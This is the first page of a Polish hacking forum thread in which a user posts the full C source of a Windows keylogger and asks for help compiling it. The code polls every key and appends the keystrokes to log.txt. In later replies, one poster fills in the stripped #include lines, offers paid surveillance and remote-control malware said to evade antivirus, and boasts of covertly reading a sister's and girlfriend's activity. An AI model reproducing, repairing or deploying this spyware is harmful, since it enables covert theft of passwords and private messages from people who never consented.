Strona 1 z 2 12 OstatniOstatni
Pokaż wyniki 1 do 10 z 17

Temat: Keylogger Kod zródłowy - Pomoc

  1. #1

    Domyślnie Keylogger Kod zródłowy - Pomoc

    Witam znalazłem kod źródłowy latwego keyloggera i niestety nie wiem co zrobic.
    Gdy go kompiluje, to kompilator odrazu wychwytuje bledy
    Pierwszy zaznaczony na CZERWONO
    ps. zastanawia mnie ze nic nie ma po #include...
    Oto on:
    Kod:
    #include 
    #include 
    
    int WINAPI WinMain (HINSTANCE hThisInstance,
                       HINSTANCE hPrevInstance,
                       LPSTR lpszArgument,
                       int nFunsterStil)
    {
     
       MSG messages;
       MSG msgKomunikat;
       msgKomunikat.message = WM_NULL;
       while (msgKomunikat.message != WM_QUIT)
       {
           if (PeekMessage(&msgKomunikat, NULL, 0, 0, PM_REMOVE))
           {
                   TranslateMessage (&msgKomunikat);
                   DispatchMessage (&msgKomunikat);
           }
       else
       {
       short character;
            for(character=8;character<=222;character++)
            {
            if(GetAsyncKeyState(character)==-32767)
            {
            FILE *file;
            if(file=fopen("log.txt","a+"))
            {
            if((character>=39)&&(character<=64))
            {
            fputc(character,file);
            fclose(file);
            break;
            }
            else if((character>64)&&(character<91))
            {
            character+=32;
            fputc(character,file);
            fclose(file);
            break;
            }
            else
            {
             
            switch(character)
            {
            case VK_SPACE:
            fputc(' ',file);
            fclose(file);
            break;
            case VK_SHIFT:
            fputs("[SHIFT]",file);
            fclose(file);
            break;
            case VK_RETURN:
            fputs("\n[ENTER]",file);
            fclose(file);
            break;
            case VK_BACK:
            fputs("[BACKSPACE]",file);
            fclose(file);
            break;
            case VK_TAB:
            fputs("[TAB]",file);
            fclose(file);
            break;
            case VK_CONTROL:
            fputs("[ALT\\CTRL]",file);
            fclose(file);
            break;
            case VK_DELETE:
            fputs("[DEL]",file);
            fclose(file);
            break;
            case VK_OEM_1:
            fputs("[;:]",file);
            fclose(file);
            break;
            case VK_OEM_2:
            fputs("[/?]",file);
            fclose(file);
            break;
            case VK_OEM_3:
            fputs("[`~]",file);
            fclose(file);
            break;
            case VK_OEM_4:
            fputs("[ [{ ]",file);
            fclose(file);
            break;
            case VK_OEM_5:
            fputs("[\\|]",file);
            fclose(file);
            break;
            case VK_OEM_6:
            fputs("[ ]} ]",file);
            fclose(file);
            break;
            case VK_OEM_7:
            fputs("['\"]",file);
            fclose(file);
            break;
            case VK_NUMPAD0:
            fputc('0',file);
            fclose(file);
            break;
            case VK_NUMPAD1:
            fputc('1',file);
            fclose(file);
            break;
            case VK_NUMPAD2:
            fputc('2',file);
            fclose(file);
            break;
            case VK_NUMPAD3:
            fputc('3',file);
            fclose(file);
            break;
            case VK_NUMPAD4:
            fputc('4',file);
            fclose(file);
            break;
            case VK_NUMPAD5:
            fputc('5',file);
            fclose(file);
            break;
            case VK_NUMPAD6:
            fputc('6',file);
            fclose(file);
            break;
            case VK_NUMPAD7:
            fputc('7',file);
            fclose(file);
            break;
            case VK_NUMPAD8:
            fputc('8',file);
            fclose(file);
            break;
            case VK_NUMPAD9:
            fputc('9',file);
            fclose(file);
            break;
            case VK_CAPITAL:
            fputs("[CAPS LOCK]",file);
            fclose(file);
            break;
            default:
            fclose(file);
            break;
            }
            }
            }
            }
          }
    }
    }
         return messages.wParam;
    }
    
    LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
    {
       switch (message)                  
       {
           case WM_DESTROY:
               PostQuitMessage (0);      
               break;
           default:                  
               return DefWindowProc (hwnd, message, wParam, lParam);
       }
    
       return 0;
    }
    ]

  2. #2

    Domyślnie zapytanie

    witam!!!
    co to jest ten keylogger? Czy on umozliwa kontolowac co poczynia sie na kompie? typu widomosci gg, wysyłana poczta itp? Z góry dzieki i pozdrawiam

  3. #3
    Zarejestrowany
    May 2007
    Skąd
    802.1 Wireless Wlan Card
    Postów
    552

    Domyślnie

    oj malutka pomyliłaś działy- i t nieźle- co ma c++ do keyloggera- polecam zaznajom się z ciocią wiki- Keylogger

    pozdawiam

    Ps sory za błędy ale brakuje mi rolki w myszcew starej kabelki się wyciągnęły

  4. #4

    Domyślnie

    tez mnie dziwi ze nie ma nic po include ale c++ zabardzo nie znam wiec moge sie mylic

    kelloger zapisuje tylko wcisniete klawisze

    Cytat Napisał Eragon Argetlam Zobacz post
    Ps sory za błędy ale brakuje mi rolki w myszcew starej kabelki się wyciągnęły
    co ma myszka do klawiatury?

    EDIT
    czasmi kompilator pokaze ze w tej lini jest blad ale okazuje sie ze jest linijke wyzej czy nizej
    Ostatnio edytowane przez Squealer : 08-28-2007 - 21:23

  5. #5

    Domyślnie

    Co do brakujących wpisów po include'ach to jest to częsta technika, jeśli strona chce zaprezentować kod np. exploita, ale nie chce umieszczać go całkowicie funkcjonalnego, wiec "upośledza" go usuwając wlaśnie wpisy po include program nie powinien wtedy moc sie skompilować osobiście często sie z tym spotykam, ale przypuszczam ze odpowiednio znając sie na C++ można by odtworzyć jakich include brakuje i wpisac

  6. #6

    Domyślnie

    Beznadziejny ten keylogger.
    No a nawet jesli go uruchomisz to bedziesz widział program w procesach i pasku zadań. Totalna Lipa.
    Brakuje
    #include <conio.h>
    #include <stdio.h>
    #include <iostream.h>

    Zapłać mi a bedziesz miał możliwość każdego podejżenia co robi i będzisz miał możlwość sterowania dowolnym kompem. A jeśli chodzi o antywiry to nie ma problemu - zaden go nie wykrywa.

  7. #7

    Domyślnie

    Jaro ale że ty napiszesz?:P
    Zbliża się Trollmagedon...

  8. #8

    Domyślnie

    Trojany, keylogggery, wirusy i inne trele to czasy ze studiów które już minęły. Nudzi mnie już czytanie tego co pisze moja siostra czy dziewczyna i co oglądają. kasy z kont nikomu nie zabieram bo boje się że mnie złapią. Sterowanie komputerami zdalnie też mi się już znudziło. Myślałem nad siecią ząbie ale po co mi ona. Teraz siedzę nad czymś o wiele bardziej intelektualnym- postrach dla studentów.
    ANTY-PLAGIAT

  9. #9

    Domyślnie

    Jaro to ile ty masz lat?
    Zbliża się Trollmagedon...

  10. #10

    Domyślnie

    Ile by nie było to każdy ma swoje zainteresowania w odpowiednim wieku. Ja to już 26. Chciało by sie jeszcze raz mieć 20.

Strona 1 z 2 12 OstatniOstatni

Podobne wątki

  1. Odpowiedzi: 15
    Autor: 12-19-2007, 11:08
  2. Jak wgrać mape...kod jest wszystko jest a nie działa
    By olixon in forum Systemy radiokomunikacyjne
    Odpowiedzi: 3
    Autor: 07-11-2007, 06:52
  3. Mój kod nie działa.Why?:(
    By fedor in forum Linux
    Odpowiedzi: 2
    Autor: 06-07-2007, 15:02
  4. [kod] statek.c
    By scorn in forum C/C++
    Odpowiedzi: 3
    Autor: 12-24-2006, 16:55
  5. 4 cyfrowy kod w iPodzie
    By rafalkam in forum Hacking
    Odpowiedzi: 0
    Autor: 11-18-2006, 16:40

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj